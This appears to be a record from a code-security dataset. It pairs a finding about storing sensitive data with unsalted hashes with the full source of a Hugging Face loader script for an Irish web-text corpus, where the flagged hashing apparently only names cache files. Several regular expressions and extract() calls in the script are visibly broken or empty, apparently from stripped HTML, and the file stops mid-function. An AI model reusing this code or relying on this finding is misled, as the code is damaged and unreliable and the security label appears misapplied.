such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 219, "entireCode": "# coding=utf-8\n# Copyright 2021 The TensorFlow Datasets Authors and the HuggingFace Datasets Authors.\n# Copyright 2021 Phonetics and Speech Laboratory, Trinity College, Dublin\n#\n# Based on Corpus Crawler (utils.py):\n# Copyright 2017 Google Inc. All rights reserved.\n#\n# Based on Corpus Crawler's Irish crawler (crawl_ga.py):\n# Copyright 2017 Google Inc. All rights reserved.\n# Copyright 2017 \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# Lint as: python3\n\"\"\"Corpus Crawler Irish web text dataset.\"\"\"\n\nimport collections\nimport os\nimport re\nimport struct\nimport unicodedata\nimport base64\nimport hashlib\nfrom html.entities import name2codepoint\nfrom email import message_from_string as Message\nfrom urllib.parse import urlparse\nfrom pathlib import Path\n\nimport datasets\n\n\n_DESCRIPTION = \"\"\"\\\nIrish web corpus, crawled with Corpus Crawler.\n\nUses a list of URLs, collected by the crawler, to\nretrieve the files from the crawler's cache.\n\"\"\"\n\n#_SCRAPES = [\"20180911\", \"20191117\", \"20210810\"]\n_SCRAPES = [\"20191117\", \"20210810\"]\n\n\nlogger = datasets.utils.logging.get_logger(__name__)\n_DATA_URL = 'https://huggingface.co/datasets/phonlab-tcd/corpuscrawler-ga/raw/main/crawled-{}.txt'\n\n\nclass CorpusCrawlerIrish(datasets.GeneratorBasedBuilder):\n \"\"\"Corpus Crawler crawled text dataset.\"\"\"\n\n BUILDER_CONFIGS = [\n datasets.BuilderConfig(name=f\"{scrape}_{cfg}\")\n for scrape in _SCRAPES\n for cfg in [\"documents\", \"paragraphs\"]\n ]\n\n def _info(self):\n return datasets.DatasetInfo(\n description=_DESCRIPTION,\n features=datasets.Features(\n {\n \"url\": datasets.Value(\"string\"),\n \"genre\": datasets.Value(\"string\"),\n \"publication_date\": datasets.Value(\"string\"),\n \"title\": datasets.Value(\"string\"),\n \"text\": datasets.Value(\"string\"),\n \"video_url\": datasets.Value(\"string\"),\n }\n ),\n )\n\n def _split_generators(self, dl_manager):\n manual_dir = os.path.abspath(os.path.expanduser(dl_manager.manual_dir))\n\n scrape_set = self.config.name\n sset = self.config.name.split('_')[0]\n dl_path = dl_manager.download(_DATA_URL.format(sset))\n\n return [\n datasets.SplitGenerator(\n name=datasets.Split.TRAIN,\n gen_kwargs={\n \"name\": scrape_set,\n \"data_dir\": manual_dir,\n \"data_file\": dl_path,\n })\n ]\n\n def _generate_examples(self, name, data_dir, data_file):\n \"\"\"Generate examples from a Corpus Crawl cache.\"\"\"\n logger.info(\"generating examples from = %s\", name)\n scfg = self.config.name.split('_')[1]\n links = _get_links(data_file)\n if not self.config.data_dir:\n self.config.data_dir = data_dir\n dd_path = Path(data_dir)\n if not dd_path.is_dir():\n raise Exception('No directory: ' + data_dir)\n\n _id = 1\n for link in links:\n if not link:\n continue\n res = self._fetch_page(link, data_dir)\n if res is None:\n raise Exception(\"Failed to read \" + link + \" from \" + data_dir)\n if scfg == \"documents\":\n text = [\"\\n\".join(res.get('text', []))]\n else:\n text = res.get('text', [])\n for para in text:\n example = {\n \"genre\": res.get('genre', ''),\n \"url\": res.get('location', link),\n \"publication_date\": res.get('publication-date', ''),\n \"video_url\": res.get('video', ''),\n \"title\": res.get('title', ''),\n \"text\": para\n }\n yield _id, example\n _id += 1\n \n def _fetch_page(self, url, data_dir):\n _EXTRATORS = {\n 'www.unicode.org': do_udhr,\n 'tuairisc.ie': do_tuairisc_ie,\n 'www.rte.ie': do_nuachtrte,\n 'www.irishtimes.com': do_irishtimes,\n 'www.chg.gov.ie': do_chg,\n 'www.ainm.ie': do_ainm_ie,\n 'gaeltacht21.blogspot.com': do_blogspot,\n 'aonghus.blogspot.com': do_blogspot,\n 'nimill.blogspot.com': do_blogspot,\n 'turasailse.blogspot.com': do_blogspot,\n 'caomhach.blogspot.com': do_blogspot,\n 'breacleabhar.blogspot.com': do_blogspot,\n 'gearoid.blogspot.com': do_blogspot,\n 'philo-celtic.blogspot.com': do_blogspot,\n 'iomhannablag.blogspot.com': do_blogspot,\n 'smaointefanacha.blogspot.com': do_blogspot,\n 'imeall.blogspot.com': do_blogspot,\n 'coislife.ie': do_coislife_ie,\n 'meoneile.ie': do_meoneile_ie,\n 'peig.ie': do_peig_ie,\n 'www.forasnagaeilge.ie': do_forasnagaeilge_ie,\n }\n parsed_url = urlparse(url)\n host = parsed_url.netloc\n extract = _EXTRATORS.get(host)\n if extract:\n fr = fetch(data_dir, url)\n if fr is None:\n raise Exception(\"Failed to fetch \" + url + \" from \" + data_dir)\n return extract(fr)\n\n\n# Corpus Crawler: utils.py\n_TAG_REGEX = re.compile(r'\\<.+?\\>', flags=re.DOTALL)\ndef striptags(s):\n return _TAG_REGEX.sub('', s)\n\n\ndef unichar(i):\n try:\n return chr(i)\n except ValueError:\n # non-BMP codepoint in narrow Python build\n return struct.pack('i', i).decode('utf-32')\n\n\ndef replace_html_entities(html):\n entities = name2codepoint\n html = re.sub(r'&#([0-9]+);',\n lambda z:unichar(int(z.group(1))), html)\n html = re.sub(r'&#[xX]([0-9a-fA-F]+);',\n lambda z:unichar(int(z.group(1), 16)), html)\n html = re.sub(r'&([a-zA-Z]+);',\n lambda z:unichar(entities.get(z.group(1).lower(), 0x20)), html)\n return html\n\n\ndef cleantext(html):\n html = re.sub(r'', ' ', html, flags=re.DOTALL)\n html = replace_html_entities(striptags(html))\n # Some web sites insert zero-width spaces, possibly as byte order marks\n # (from Microsoft Notepad) which their scripts failed to recognize as such.\n html = html.replace('\\u200B', '')\n return unicodedata.normalize('NFC', ' '.join(html.split()))\n\n\ndef clean_paragraphs(html):\n text = html.replace('\\n', ' ')\n text = re.sub(r'',\n '\\n', text)\n text = re.sub(r'<(?:br|BR)\\s*/?>', '\\n', text)\n return list(filter(None, [cleantext(p) for p in text.split('\\n')]))\n\n\ndef extract(before, after, html):\n s = html.split(before, 1)\n return s[1].split(after)[0] if len(s) == 2 else None\n\n\nFetchResult = collections.namedtuple('FetchResult',\n ['headers', 'content', 'url', 'filepath'])\n\n\ndef fetch(cache_dir, url):\n logger.info(\"fetching url %s from cache %s\", url, cache_dir)\n try:\n digest = hashlib.sha256(url.encode('utf-8')).digest()\n filepath = os.path.join(cache_dir,\n \"f\" + base64.urlsafe_b64encode(digest).decode('utf-8'))\n except:\n digest = hashlib.sha256(url).digest()\n filepath = os.path.join(cache_dir,\n \"f\" + base64.urlsafe_b64encode(digest))\n\n fp = Path(filepath)\n if not fp.is_file():\n raise Exception(\"No such file: \" + fp)\n\n try:\n with open(filepath, 'r', encoding='utf-8-sig', newline='') as f:\n file_content = f.read()\n if '\\r\\n\\r\\n\\r\\n' in file_content:\n splitter = '\\r\\n\\r\\n\\r\\n'\n else:\n splitter = '\\n\\n\\n'\n cached = file_content.split(splitter, 1)\n if len(cached) == 2:\n headers, content = cached\n try:\n content = content.encode('utf-8')\n except:\n # already encoded as bytes\n pass\n headers = Message(headers)\n if not content:\n raise Exception(\"empty content\")\n return FetchResult(headers, content, url, filepath)\n else:\n raise Exception(\"splitting headers and content failed\")\n except IOError:\n raise Exception(\"fetch() failed\")\n\n\ndef do_udhr(fetchresult):\n out = {}\n text = fetchresult.content.decode('utf-8').split('---', 1)[1]\n out['location'] = fetchresult.url\n out['genre'] = 'Legal'\n paras = []\n for paragraph in text.splitlines():\n paragraph = paragraph.strip()\n if len(paragraph) > 0:\n paras.append(paragraph)\n out['text'] = paras\n return out\n\n\n# corpuscrawler: crawl_ga.py\n_ENGLISH_MONTHS = {\n 'january': 1,\n 'february': 2,\n 'march': 3,\n 'april': 4,\n 'may': 5,\n 'june': 6,\n 'july': 7,\n 'august': 8,\n 'september': 9,\n 'october': 10,\n 'november': 11,\n 'december': 12\n}\n\n\ndef _byline_to_pubdate(byline):\n date = re.search(r'(\\d{1,2}) ([^ ]+?) (\\d{4})', byline)\n if not date:\n return None\n day = int(date.group(1))\n year = int(date.group(3))\n month = _ENGLISH_MONTHS[date.group(2).lower()]\n if not month:\n return None\n out = \"{}-{:0>2d}-{:0>2d}\".format(year, month, day)\n return out\n\n\ndef _rte_writable_paragraph(text):\n if text == '':\n return False\n if text.startswith('© RTÉ '):\n return False\n if text.startswith('By using this website, you consent'):\n return False\n if text.startswith('RTÉ.ie is the website of Raidió Te'):\n return False\n if text.find('is not responsible for the content') >= 0:\n return False\n if text.find('RTÉ uses cookies in accordance with our Cookie Policy') >= 0:\n return False\n if re.match('^[\\*\\+]+$', text):\n return False\n return True\n\n\ndef _rte_cleanall(html):\n section_article_regex = re.compile(r']+itemprop=\"articleBody\"[^>]*>')\n search = section_article_regex.search(html)\n out = []\n if search:\n body = extract(search.group(0), '', html)\n for para in clean_paragraphs(body):\n if _rte_writable_paragraph(para):\n out.append(para)\n return '\\n'.join(out)\n for paragraph in re.findall(r'

(.+?)

', html):\n cleaned = cleantext(paragraph)\n if _rte_writable_paragraph(cleaned):\n out.append(cleaned)\n else:\n continue\n return out\n\n\ndef _sceala_clean(paras):\n out = []\n for para in paras:\n if '\\n____' not in para:\n out.append(para)\n else:\n out.append(para.split('\\n____')[0])\n break\n return out\n\n\ndef do_nuachtrte(fetchresult):\n out = {}\n pubdate_regex = re.compile(r'name=\"DC.date\" (?:scheme=\"DCTERMS.URI\" )?content=\"([0-9T:+\\-]{19,25})\"')\n html = fetchresult.content.decode('utf-8')\n pubdate_match = pubdate_regex.search(html)\n pubdate = pubdate_match.group(1) if pubdate_match else None\n if pubdate is None: pubdate = fetchresult.headers.get('Last-Modified')\n out['location'] = fetchresult.url\n if 'nuacht' in fetchresult.url:\n out['genre'] = 'News'\n if pubdate:\n out['publication-date'] = pubdate\n title = re.search(r'(.+?)', html)\n if title:\n title = striptags(title.group(1).split('- RTÉ')[0]).strip()\n if title:\n out['title'] = cleantext(title)\n cleaned = _rte_cleanall(html)\n if '/sceala/' in fetchresult.url:\n cleaned = _sceala_clean(cleaned)\n out['text'] = cleaned\n return out\n\n\ndef do_meoneile_ie(fetchresult):\n out = {}\n html = fetchresult.content.decode('utf-8')\n title = extract(r'', '', html).strip()\n title = title.split('<')[0].strip() if title else ''\n video = re.search(r\"]*>\", html)\n body = extract(\"
\", '', html) or ''\n byline = extract(\"